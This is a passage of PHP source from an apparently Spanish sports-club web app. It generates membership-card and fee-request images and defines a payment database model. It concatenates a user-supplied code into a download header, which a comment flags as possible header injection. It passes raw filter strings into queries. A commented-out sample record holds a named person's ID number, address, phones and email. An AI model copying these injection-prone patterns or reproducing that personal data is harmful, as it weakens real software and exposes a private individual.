//print_r($array_result);exit();
$imgPath = $this->config->item('root_path').'images/templates/'.$carnet_permission[$array_result['group_id']];
$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar'];
$font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf';
if(!file_exists($imgPath) || !file_exists($font)) exit ('Fallo en la carga de las plantillas necesarias');
if(!file_exists($imgStampPath)) exit ('Foto del usuario no disponible');
# Abro Avatar
$size=getimagesize($imgStampPath);
switch($size["mime"]){
case "image/jpeg":
$fotocarnet = imagecreatefromjpeg($imgStampPath); //jpeg file
break;
case "image/gif":
$fotocarnet = imagecreatefromgif($imgStampPath); //gif file
break;
case "image/png":
$fotocarnet = imagecreatefrompng($imgStampPath); //png file
break;
default:
$fotocarnet=false;
break;
}
if(!$fotocarnet) exit ('Foto del usuario no disponible');
# Abro plantilla de carnet
$size=getimagesize($imgPath);
switch($size["mime"]){
case "image/jpeg":
$image = imagecreatefromjpeg($imgPath); //jpeg file
break;
case "image/gif":
$image = imagecreatefromgif($imgPath); //gif file
break;
case "image/png":
$image = imagecreatefrompng($imgPath); //png file
break;
default:
$image=false;
break;
}
if(!$image) exit ('Fallo en la carga de las plantillas necesarias');
$sx = imagesx($fotocarnet);
$sy = imagesy($fotocarnet);
$factor = $sx / 120; // Marco el ancho que quiero que tenga la foto de carnet
$dx = intval($sx / $factor);
$dy = intval($sy / $factor);
if($dy > 180) {
# Si la imagen es desproporcionadamente alta, pongo el alto como referencia para redimensionar
$factor = $sy / 180; // Marco el alto maximo que quiero que tenga la foto de carnet
$dx = intval($sx / $factor);
$dy = intval($sy / $factor);
}
//echo '<br>'.$factor; echo '<br>'.$dx; echo '<br>'.$dy;
$fotocarnet_thumb = imagecreatetruecolor($dx, $dy);
imagecopyresized($fotocarnet_thumb, $fotocarnet, 0, 0, 0, 0, $dx, $dy, $sx, $sy);
$ancho_fotocarnet_thumb = imagesx($fotocarnet_thumb);
$alto_fotocarnet_thumb = imagesy($fotocarnet_thumb);
// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 30;
$marge_bottom = 140;
imagecopy($image, $fotocarnet_thumb, imagesx($image) - $ancho_fotocarnet_thumb - $marge_right, imagesy($image) - $alto_fotocarnet_thumb - $marge_bottom, 0, 0, $ancho_fotocarnet_thumb, $alto_fotocarnet_thumb);
# Escribo los datos del usuario
$white = imagecolorallocate($image, 255, 255, 255);
$grey = imagecolorallocate($image, 128, 128, 128);
$black = imagecolorallocate($image, 0, 0, 0);
$fontSize = 18;
// Add some shadow to the text
$text_xpos = 45;
//imagettftext($image, $fontSize, 0, $text_xpos+1, 81, $grey, $font, $array_result['user_lastname']);
imagettftext($image, $fontSize, 0, $text_xpos, 80, $black, $font, $array_result['user_lastname']);
//imagettftext($image, $fontSize, 0, $text_xpos+1, 106, $grey, $font, $array_result['user_name']);
imagettftext($image, $fontSize-2, 0, $text_xpos, 105, $black, $font, $array_result['user_name']);
//imagettftext($image, $fontSize, 0, $text_xpos+1, 131, $grey, $font, 'ID: '.$array_result['user_id']);
imagettftext($image, $fontSize, 0, $text_xpos, 140, $black, $font, 'ID: '.$array_result['user_id']);
# Genero el codigo QR con la informaciรณn importante
$ancho_qrcode = 100;
$qrcode = imagecreatefrompng('http://chart.apis.google.com/chart?cht=qr&chs='.$ancho_qrcode.'x'.$ancho_qrcode.'&chl='.$array_result['user_id'].'|'.$array_result['group_id'].'|'.strtotime($array_result['last_payd_date']));
$ancho_qrcode = $ancho_qrcode-20; // Le quito el doble de lo que le quitarรฉ del borde mรกs abajo
//$qrcode = imagecreatefrompng('chart100.png');
$qr_marge_right = 150;
$qr_marge_bottom = 50;
imagecopy($image, $qrcode, imagesx($image) - $ancho_qrcode - $qr_marge_right, imagesy($image) - $ancho_qrcode - $qr_marge_bottom, 10, 10, $ancho_qrcode, $ancho_qrcode);
# Genero el codigo de barras
require($this->config->item('root_path').'system/libraries/barcode/BCGFontFile.php');
require($this->config->item('root_path').'system/libraries/barcode/BCGColor.php');
require($this->config->item('root_path').'system/libraries/barcode/BCGDrawing.php');
require($this->config->item('root_path').'system/libraries/barcode/BCGcode128.barcode.php');
$font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf';
$font = new BCGFontFile($this->config->item('root_path').'system/fonts/Arial.ttf', 10);
$color_black = new BCGColor(0, 0, 0);
$color_white = new BCGColor(255, 255, 255);
// Barcode Part
$code = new BCGcode128();
$code->setScale(1);
$code->setThickness(30);
$code->setForegroundColor($color_black);
$code->setBackgroundColor($color_white);
$code->setFont($font);
$code->setStart(NULL);
$code->setTilde(true);
$code->setOffsetX(1);
$code->setOffsetX(1);
//$code->clearLabels();
$code->parse($array_result['user_id'].'|'.$array_result['group_id'].'|'.strtotime($array_result['last_payd_date']));
$tamaรฑo_barcode = $code->getDimension(0, 0);
$ancho_barcode = $tamaรฑo_barcode[0];
$alto_barcode = $tamaรฑo_barcode[1];
//exit('aa');
$barcode = imagecreatetruecolor($ancho_barcode, $alto_barcode);
$background_color = imagecolorallocate($barcode, 255, 255, 255);
imagefill($barcode, 0, 0, $background_color);
// Drawing Part
$drawing = new BCGDrawing('', $color_white);
$drawing->set_im($barcode);
$drawing->setBarcode($code);
$drawing->draw($barcode);
//$drawing->finish(BCGDrawing::IMG_FORMAT_PNG);
$marge_right = 290;
$marge_bottom = 85;
imagecopy($image, $barcode, imagesx($image) - $ancho_barcode - $marge_right, imagesy($image) - $alto_barcode - $marge_bottom, 0, 0, $ancho_barcode, $alto_barcode);
header("Content-type: image/jpeg");
header("Content-type: " . $mime);
//header("Content-Length: " . $size);
// NOTE: Possible header injection via $basename
header("Content-Disposition: attachment; filename=" . $code_user .'.jpg');
header('Content-Transfer-Encoding: binary');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
$image = imagerotate($image, 90, 0);
imagejpeg($image, null, 100);
// Liberar memoria
imagedestroy($image);
exit();
/* pintar */
}
# -------------------------------------------------------------------
# Funcion que muestra el detalle del usuario
# -------------------------------------------------------------------
function carnet_recibo($code_user)
{
$this->load->model('redux_auth_model', 'users', TRUE);
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$visualization_permission = $this->config->item('profiles_visualization_permission');
if(!$visualization_permission[$profile->group]) {
$this->session->set_userdata('error_message', 'No tiene permisos para visualizar esa pagina.');
redirect(site_url(), 'Location');
exit();
}
} else {
# Opciรณn solo para usuarios logueados. Si no lo estรก, se devuelve a pรกgina de inicio
$this->session->set_userdata('error_message', 'Pagina no accesible sin acceder a la aplicacion previamente.');
redirect(site_url(), 'Location');
exit();
}
if(!$this->redux_auth->logged_in())
{
$this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.');
redirect(site_url(), 'Location');
exit();
}
# Si es el mismo usuario el que quiero ver del que estรก logueado, le llevo a la pรกgina del perfil
$perfiles_permission = $this->config->item('profiles_visualization_permission');
if(!$perfiles_permission[$profile->group]) { $this->session->set_userdata('error_message', 'No tiene permiso para realizar esta accion.'); redirect(site_url(), 'Location'); exit(); }
# recupero los datos del usuario
$array_result = $this->users->get_user($code_user);
if (!isset($array_result) || count($array_result) <=0)
{
$this->session->set_userdata('error_message', 'Informacion de usuario no disponible o usuario inexistente.');
redirect(site_url(), 'Location');
exit();
}
# Gestiรณn de carnet de socio
$carnet_permission = $this->config->item('users_quota_group');
$carnet_enabled = FALSE;
if(!$this->config->item('users_carnet_enabled') || !isset($carnet_permission) || trim($carnet_permission[$array_result['group_id']]) == '') {
exit('Carnet no habilitado para este usuario');
}
$quota = 0;
if($array_result['code_price']!='') $quota = $this->users->get_userQuota($array_result);
$quota = number_format($quota, 2);
//print_r($array_result);exit();
$imgPath = $this->config->item('root_path').'images/templates/plantilla.jpg';
$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar'];
$font = $this->config->item('root_path').'system/fonts/FreeSansBold.ttf';
$doc_title = 'Duplicado de carnet';
//print_r($array_result);
//$imgPath = $this->config->item('root_path').'images/templates/'.$carnet_permission[$array_result['group_id']];
//$imgStampPath = $this->config->item('root_path').'images/users/'.$array_result['avatar'];
if(!file_exists($imgPath) || !file_exists($font)) exit ('Fallo en la carga de las plantillas necesarias');
if(!file_exists($imgStampPath)) exit ('Foto del usuario no disponible');
# Abro Avatar
$size=getimagesize($imgStampPath);
switch($size["mime"]){
case "image/jpeg":
$fotocarnet = imagecreatefromjpeg($imgStampPath); //jpeg file
break;
case "image/gif":
$fotocarnet = imagecreatefromgif($imgStampPath); //gif file
break;
case "image/png":
$fotocarnet = imagecreatefrompng($imgStampPath); //png file
break;
default:
$fotocarnet=false;
break;
}
if(!$fotocarnet) exit ('Foto del usuario no disponible');
# Abro plantilla de carnet
$size=getimagesize($imgPath);
switch($size["mime"]){
case "image/jpeg":
$image = imagecreatefromjpeg($imgPath); //jpeg file
break;
case "image/gif":
$image = imagecreatefromgif($imgPath); //gif file
break;
case "image/png":
$image = imagecreatefrompng($imgPath); //png file
break;
default:
$image=false;
break;
}
if(!$image) exit ('Fallo en la carga de las plantillas necesarias');
$sx = imagesx($fotocarnet);
$sy = imagesy($fotocarnet);
$factor = $sx / 300; // Marco el ancho que quiero que tenga la foto de carnet
$dx = intval($sx / $factor);
$dy = intval($sy / $factor);
if($dy > 400) {
# Si la imagen es desproporcionadamente alta, pongo el alto como referencia para redimensionar
$factor = $sy / 300; // Marco el alto maximo que quiero que tenga la foto de carnet
$dx = intval($sx / $factor);
$dy = intval($sy / $factor);
}
//echo '<br>'.$factor; echo '<br>'.$dx; echo '<br>'.$dy;
$fotocarnet_thumb = imagecreatetruecolor($dx, $dy);
imagecopyresized($fotocarnet_thumb, $fotocarnet, 0, 0, 0, 0, $dx, $dy, $sx, $sy);
$ancho_fotocarnet_thumb = imagesx($fotocarnet_thumb);
$alto_fotocarnet_thumb = imagesy($fotocarnet_thumb);
// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 200;
$marge_bottom = 1900;
//imagecopy($image, $fotocarnet_thumb, imagesx($image) - $ancho_fotocarnet_thumb - $marge_right, imagesy($image) - $alto_fotocarnet_thumb - $marge_bottom, 0, 0, $ancho_fotocarnet_thumb, $alto_fotocarnet_thumb);
# Escribo los datos del usuario
$white = imagecolorallocate($image, 255, 255, 255);
$grey = imagecolorallocate($image, 128, 128, 128);
$black = imagecolorallocate($image, 0, 0, 0);
$fontSize = 46; // Tamaรฑo de texto normal
$text_xpos = 270; // Margen izquierdo
imagettftext($image, 72, 0, 1200, 300, $black, $font, $doc_title); // Titulo
//$array_result= array('user_lastname' => 'Nieto Castellano', 'user_name' => 'Juan Josรฉ', 'cif' => '50107654S', 'birthdate' => '20/08/1977', 'address' => 'Calle de Constancia, 17, 3ยบ C', 'population' => 'Torrijos de arribarrigota', 'cp' => '28058', 'phone' => '915092162', 'phone2' => '656424453', 'email' => 'juanjitojuanjitoo0000o.nieto@gmail.com');
imagettftext($image, $fontSize, 0, $text_xpos, 660, $black, $font, $array_result['user_lastname'].', '.$array_result['user_name']); // Nombre
imagettftext($image, $fontSize, 0, $text_xpos+1650, 660, $black, $font, $array_result['nif']); // DNI
imagettftext($image, $fontSize, 0, $text_xpos, 850, $black, $font, $array_result['birth_date']); // fecha nacimiento
imagettftext($image, $fontSize-5, 0, $text_xpos+450, 850, $black, $font, $array_result['address']); // direccion
if(strlen($array_result['population'])<= 15 ) imagettftext($image, $fontSize, 0, $text_xpos+1620, 850, $black, $font, $array_result['population']); // telefono movil
elseif(strlen($array_result['population'])<= 20 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1620, 850, $black, $font, $array_result['population']);
elseif(strlen($array_result['population'])<= 23 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1610, 850, $black, $font, $array_result['population']);
else imagettftext($image, $fontSize-20, 0, $text_xpos+1610, 850, $black, $font, $array_result['population']);
imagettftext($image, $fontSize, 0, $text_xpos, 1030, $black, $font, $array_result['cp']); // codigo postal
//imagettftext($image, $fontSize, 0, $text_xpos+450, 1030, $black, $font, $array_result['user_phone']); // telefono fijo
imagettftext($image, $fontSize, 0, $text_xpos+950, 1030, $black, $font, $array_result['user_phone']); // telefono movil
if(strlen($array_result['email'])<= 22 ) imagettftext($image, $fontSize, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']); // telefono movil
elseif(strlen($array_result['email'])<= 30 ) imagettftext($image, $fontSize-10, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']);
elseif(strlen($array_result['email'])<= 34 ) imagettftext($image, $fontSize-15, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']);
else imagettftext($image, $fontSize-20, 0, $text_xpos+1350, 1030, $black, $font, $array_result['user_email']);
imagettftext($image, $fontSize-5, 0, $text_xpos, 1500, $black, $font, 'Como '.$array_result['group_description'].' la cuota a abonar es de '.$quota.' euros. '); // Nombre
imagettftext($image, $fontSize-5, 0, $text_xpos, 1600, $black, $font, 'En el concepto de pago deberรก poner \'Socio '.$array_result['user_id'].'\''); // Nombre
imagettftext($image, $fontSize-5, 0, $text_xpos, 1800, $black, $font, 'El ingreso deberรก realizarse en alguno de los siguientes nรบmeros de cuenta:'); // Nombre
imagettftext($image, $fontSize, 0, $text_xpos+50, 1900, $black, $font, '2105 0039 34 1290022090 (Caja Castilla-La Mancha)'); // Nombre
imagettftext($image, $fontSize, 0, $text_xpos+50, 2000, $black, $font, '3081 0181 03 2563768528 (Caja Rural)'); // Nombre
imagettftext($image, $fontSize-10, 0, $text_xpos, 2150, $black, $font, 'Deberรก acompaรฑarse la presente solicitud con el justificante del ingreso'); // Nombre
//imagettftext($image, $fontSize, 0, $text_xpos, 140, $black, $font, 'ID: '.$array_result['user_id']);
$anchoo = imagesx($image);
$altoo = imagesy($image);
$proporcion = 1.4143;
$imagen_final = imagecreatetruecolor($anchoo, $altoo);
$image = imagerotate($image, 90, 0);
imagecopyresized ($imagen_final, $image, 0, 0, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo);
imagecopyresized ($imagen_final, $image, 0, $altoo / 2, 0, 0, $anchoo, $anchoo/$proporcion, $altoo, $anchoo);
header("Content-type: image/jpeg");
header("Content-type: " . $mime);
//header("Content-Length: " . $size);
// NOTE: Possible header injection via $basename
header("Content-Disposition: attachment; filename=cuota_" . $code_user .'.jpg');
header('Content-Transfer-Encoding: binary');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
# Rota la imagen 90 grados
//$image = imagerotate($image, 90, 0);
imagejpeg($imagen_final, null, 100);
// Liberar memoria
imagedestroy($image);
imagedestroy($imagen_final);
exit();
/* pintar */
}
}
/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */```
payment_model.php
```<?php
class Payment_model extends Model {
var $id_type = NULL;
var $id_element = NULL;
var $id_user = NULL;
var $desc_user = NULL;
var $status = NULL;
var $quantity = NULL;
var $datetime = NULL;
var $fecha_valor = NULL;
var $description = NULL;
var $id_transaction = NULL;
var $id_paymentway = NULL;
var $ticket_number = NULL;
var $create_user = NULL;
var $create_time = NULL;
var $create_ip = NULL;
##############################################################################
function setPayment() {
# Compruebo, si el pago no es una devoluciรณn, que no hay ningรบn pago asociado a la misma transacciรณn..
if(isset($this->status) && isset($this->id_transaction) && $this->id_transaction != '') {
$test = $this->getPaymentByTransaction($this->id_transaction);
//var_export ($test);exit();
if(isset($test) && $test->id_transaction == $this->id_transaction && $test->desc_user == $this->desc_user && $test->quantity == $this->quantity && $test->id_user == $this->id_user ) {
log_message('debug','Intento de crear un pago con id_transaction ya utilizado para otro existente: '.$this->id_transaction);
//echo '<br>Intento de crear un pago con id_transaction ya utilizado para otro existente: '.$this->id_transaction;
return NULL;
}
}
//else echo '<br>Devolucion';
# Si la fecha valor no estรก definida, lo relleno con la fecha actual
if(!isset($this->fecha_valor) || $this->fecha_valor == '') $this->fecha_valor = date($this->config->item('date_db_format'));
$ticket_number = $this->getNextTicketNumber(date($this->config->item('date_db_format'), strtotime($this->datetime)));
//exit($ticket_number.'------');
$this->ticket_number = $ticket_number;
if(!isset($this->create_user) || $this->create_user == '') $this->create_user = $this->session->userdata('user_id');
if(!isset($this->create_time) || $this->create_time == '') $this->create_time = date($this->config->item('date_db_format'));
if(!isset($this->create_ip) || $this->create_ip == '') $this->create_ip = $this->session->userdata('ip_address');
$this->db->insert('payments', $this);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
# Devuelvo el ID del pago generado
return $this->db->insert_id();
}
##############################################################################
function updatePaymentStatus($field, $value, $status) {
$data = array(
'status' => $status,
'remesa' => '',
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where($field, $value);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function updatePaymentPaymentway($field, $value, $status) {
$data = array(
'id_paymentway' => $status,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where($field, $value);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function updatePaymentDesc($field, $value, $desc) {
$data = array(
'description' => $desc,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where($field, $value);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function updatePaymentQuantity($id, $quantity) {
$data = array(
'quantity' => $quantity,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where('id', $id);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function updatePaymentFechaValor($field, $value, $fecha) {
if(!is_int($fecha)) return FALSE;
$data = array(
'fecha_valor' => date($this->config->item('date_db_format'), $fecha),
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where($field, $value);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function updatePaymentDateTime($field, $value, $fecha) {
#Fecha en timestamp
if(!is_int($fecha) && !is_long($fecha)) return FALSE;
$data = array(
'datetime' => date($this->config->item('log_date_format'), $fecha),
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where($field, $value);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function setRemesa($remesa, $pagos) {
if(!is_array($pagos)) $pagos = array($pagos);
$data = array(
'remesa' => $remesa,
'status' => 9,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where_in('id', $pagos);
$this->db->update('payments', $data);
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
return TRUE;
}
##############################################################################
function setPaymentExtra($id_payment, $data) {
$data['create_user'] = $this->session->userdata('user_id');
$data['create_time'] = date($this->config->item('log_date_format'));
$data['create_ip'] = $this->session->userdata('ip_address');
# Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion
$this->db->insert('payments_tpv_extra', $data);
log_message('debug',$this->db->last_query());
return TRUE;
}
##############################################################################
function getPaymentById($id_payment) {
$this->db->select('payments.id, payments.id_type, payments.id_element, payments.id_user, payments.id_transaction, payments.desc_user, payments.status, payments.quantity, payments.datetime, payments.fecha_valor, payments.description, payments.id_paymentway, payments.ticket_number, payments.desc_user as desc_user, meta.first_name as first_name, meta.last_name as last_name, meta.phone as user_phone, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc');
$this->db->from('payments');
$this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer');
$this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer');
$this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer');
$this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer');
$this->db->where('payments.id', $id_payment);
$record = $this->db->get();
//echo $this->db->last_query();
if ($record->num_rows() > 0)
{
return $record->result();
} else return NULL;
}
##############################################################################
function getPaymentByTransaction($id_transaction) {
$this->db->select('payments.id, payments.id_type, payments.id_element, payments.id_user, payments.id_transaction, payments.desc_user, payments.status, payments.quantity, payments.datetime, payments.fecha_valor, payments.description, payments.id_paymentway, payments.ticket_number, payments.desc_user as desc_user, meta.first_name as first_name, meta.last_name as last_name, meta.phone as user_phone, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc');
$this->db->from('payments');
$this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer');
$this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer');
$this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer');
$this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer');
$this->db->where('payments.id_transaction', $id_transaction);
$record = $this->db->get();
log_message('debug',$this->db->last_query());
//echo $this->db->last_query();
if ($record->num_rows() > 0)
{
return $record->row();
} else return NULL;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de todos los pagos
# -------------------------------------------------------------------
public function get_global_list($filters="", $orderby="", $orderbyway="", $limit="", $flexigrid=FALSE)
{
$this->CI =& get_instance();
//Select table name
$table_name = "payments";
//Build contents query
$this->db->select('payments.id as id, payments.id_type as id_type, payments.id_transaction as id_transaction, payments.id_user, payments.desc_user as desc_user, payments.status as status, payments.quantity, payments.ticket_number, payments.datetime as datetime, DATE_FORMAT(DATE(payments.fecha_valor), \'%d-%m-%Y\') as fecha_valor, DATE_FORMAT(DATE(payments.datetime), \'%d-%m-%Y\') as date, TIME(payments.datetime) as time, payments.description as description, payments.id_paymentway as id_paymentway, payments.create_user as create_user, payments.create_time as create_time, payments.modify_user as modify_user, payments.modify_time as modify_time, meta.first_name as first_name, meta.last_name as last_name, meta.player_level as player_level, meta.phone as phone, groups.description as grupo, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc, meta.bank_titular, meta.bank, meta.bank_office, meta.bank_dc, meta.bank_account, meta.numero_socio', FALSE)->from($table_name);
if($flexigrid) $this->CI->flexigrid->build_query();
//$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
//$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer');
$this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer');
$this->db->join('users', 'payments.id_user=users.id', 'left outer');
$this->db->join('groups', 'users.group_id=groups.id', 'left outer');
$this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer');
$this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer');
$this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer');
if (isset($filters) && trim($filters)!="") $this->db->where($filters);
if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway);
if (isset($limit) && trim($limit)!="") $this->db->limit($limit);
//Get contents
$return['records'] = $this->db->get();
//echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC";
log_message('debug', 'SQL: '.$this->db->last_query());
//Build count query
# Para devolver el numero de registros
$this->db->select('count(payments.id) as record_count')->from($table_name);
if($flexigrid) $this->CI->flexigrid->build_query();
//$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
//$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer');
$this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer');
$this->db->join('users', 'payments.id_user=users.id', 'left outer');
$this->db->join('groups', 'users.group_id=groups.id', 'left outer');
$this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer');
$this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer');
$this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer');
if (isset($filters) && trim($filters)!="") $this->db->where($filters);
//if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway);
//if (isset($limit) && trim($limit)!="") $this->db->limit($limit);
$record_count = $this->db->get();
$row = $record_count->row();
//Get Record Count
$return['record_count'] = $row->record_count;
//Return all
return $return;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de todas las reservas UNIFICADAS, en formato array,
# -------------------------------------------------------------------
public function get_next_payments($filters = NULL, $order = NULL, $orderway = NULL , $limit = NULL)
{
$records = $this->get_global_list($filters, $order, $orderway, $limit );
$buttons=''; $registro=array(); $transaccion=""; $min_time=""; $max_time="";$precio=0;
$record_items = array();
foreach ($records['records']->result() as $row)
{
$registro=array();
if($row->id_user) $usuario = $row->first_name.' '.$row->last_name;
else $usuario = $row->desc_user;
if(trim($usuario)=="") $usuario="No registrado";
$registro = array(
$row->id,
$row->id,
$row->id_type_desc,
$this->lang->line($row->paymentway_desc),
$usuario,
$row->quantity,
$this->lang->line($row->status_desc),
date($this->config->item('reserve_date_filter_format') ,strtotime($row->datetime)),
date($this->config->item('reserve_hour_filter_format') ,strtotime($row->datetime)),
$row->description
);
//print("<pre>");print_r($row);print("</pre>");
$record_items[] = $registro;
}
return $record_items;
}
##############################################################################
function getStatusArray()
{
//$query = $this->db->get('entries', 10);
//return $query->result();
$result=array(""=>"Selecciona opcion");
$sql = "SELECT id, description FROM zz_payment_status ";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
$result[$row->id]=$this->lang->line($row->description);
}
return $result;
}
##############################################################################
function getPaymentWaysArray()
{
//$query = $this->db->get('entries', 10);
//return $query->result();
$enable_reserve = $this->config->item('enable_reserve');
$enable_cash = $this->config->item('enable_cash');
$enable_prepaid = $this->config->item('enable_prepaid');
$enable_creditcard = $this->config->item('enable_creditcard');
$enable_paypal = $this->config->item('enable_paypal');
$enable_bank = $this->config->item('enable_bank');
$enable_tpv = $this->config->item('enable_tpv');
$result=array(""=>"Selecciona opcion");
$sql = "SELECT id, description FROM zz_paymentway WHERE active=1";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
$ok = 0;
switch ($row->id) {
case 1:
if($enable_cash) $ok = 1;
break;
case 2:
if($enable_creditcard) $ok = 1;
break;
case 3:
if($enable_paypal) $ok = 1;
break;
case 4:
if($enable_bank) $ok = 1;
break;
case 5:
if($enable_prepaid) $ok = 1;
break;
case 6:
if($enable_tpv) $ok = 1;
break;
}
if($ok) $result[$row->id]=$this->lang->line($row->description);
}
return $result;
}
##############################################################################
function getPaymentTypesArray()
{
//$query = $this->db->get('entries', 10);
//return $query->result();
$result=array(""=>"Selecciona opcion");
$sql = "SELECT id, description FROM zz_payment_type WHERE active=1";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
$result[$row->id]=$this->lang->line($row->description);
}
return $result;
}
##############################################################################
function getPaymentsFrequencies ($format = 'array')
{
//$query = $this->db->get('entries', 10);
//return $query->result();
if($format == 'array') $result=array(""=>"Selecciona opcion");
$sql = "SELECT id, description FROM zz_payment_frequency WHERE active = 1 ORDER BY id ASC";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
if($format == 'array') $result[$row->id]=$row->description;
}
return $result;
}
##############################################################################
function getFrequencyCommand ($id)
{
//$query = $this->db->get('entries', 10);
//return $query->result();
$sql = "SELECT php_interval_name FROM zz_payment_frequency WHERE active = 1 AND id = ?";
$query = $this->db->query($sql, array($id));
foreach ($query->result() as $row)
{
return $row->php_interval_name;
}
return null;
}
##############################################################################
public function get_data($params = "" , $page = "all")
{
$this->CI =& get_instance();
//Select table name
$table_name = "payments";
//Build contents query
if($page=='count') { $this->db->count_all_results($table_name); $this->db->from($table_name); }
else $this->db->select('payments.id as id, payments.id_type as id_type, payments.id_transaction as id_transaction, payments.id_user, payments.desc_user as desc_user, payments.status as status, payments.quantity, payments.ticket_number, payments.datetime as datetime, DATE_FORMAT(DATE(payments.fecha_valor), \'%d-%m-%Y\') as fecha_valor, DATE_FORMAT(DATE(payments.datetime), \'%d-%m-%Y\') as date, TIME(payments.datetime) as time, payments.description as description, payments.id_paymentway as id_paymentway, payments.create_user as create_user, payments.create_time as create_time, payments.modify_user as modify_user, payments.modify_time as modify_time, meta.first_name as first_name, meta.last_name as last_name, zz_payment_status.description as status_desc, zz_paymentway.description as paymentway_desc, zz_payment_type.description as id_type_desc , meta.bank_titular, meta.bank, meta.bank_office, meta.bank_dc, meta.bank_account', FALSE)->from($table_name);
//$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
//$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer');
$this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer');
$this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer');
$this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer');
$this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer');
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if ($page != "all" && $page != "count") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
